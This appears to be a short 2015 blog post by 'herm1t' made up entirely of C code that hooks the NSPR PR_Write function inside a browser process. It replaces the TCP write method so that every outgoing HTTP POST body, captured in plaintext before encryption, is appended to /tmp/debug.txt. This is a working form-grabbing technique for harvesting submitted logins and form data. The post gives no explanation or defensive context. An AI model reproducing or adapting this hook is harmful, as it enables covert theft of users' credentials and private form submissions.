herm1t LIVE!ng room - Hooking PR_Write [entries|archive|friends|userinfo]
herm1t

[ website | twilight corner in the herm1t's cave ]
[ userinfo | ljr userinfo ]
[ archive | journal archive ]

Hooking PR_Write [Jun. 22nd, 2015|09:54 pm]
Previous Entry Add to Memories Tell A Friend Next Entry
[Tags|, , , ]

static int (*old_pr_write)(void *,void *, int);
static int pr_write(void *handle, void *buffer, int length)
{
        if (length > 4 && !strncmp(buffer, "POST", 4)) {
                FILE *f = fopen("/tmp/debug.txt", "a+");
                if (f != NULL) {
                        fprintf(f, "%.*s\n", length, buffer);
                        fclose(f);
                }
        }
        return old_pr_write(handle, buffer, length);
}

void init(void)
{
        void *h = dlopen(NULL, RTLD_LAZY);
        if (h) {
                void *(*mtdfn)(void) = dlsym(h, "PR_GetTCPMethods");
                if (mtdfn) {
                        void **mtd = (void**)mtdfn();
                        old_pr_write = ((int (*)(void*,void*,int))mtd[3]);
                        mtd[3] = pr_write;
                }
        }
}
LinkLeave a comment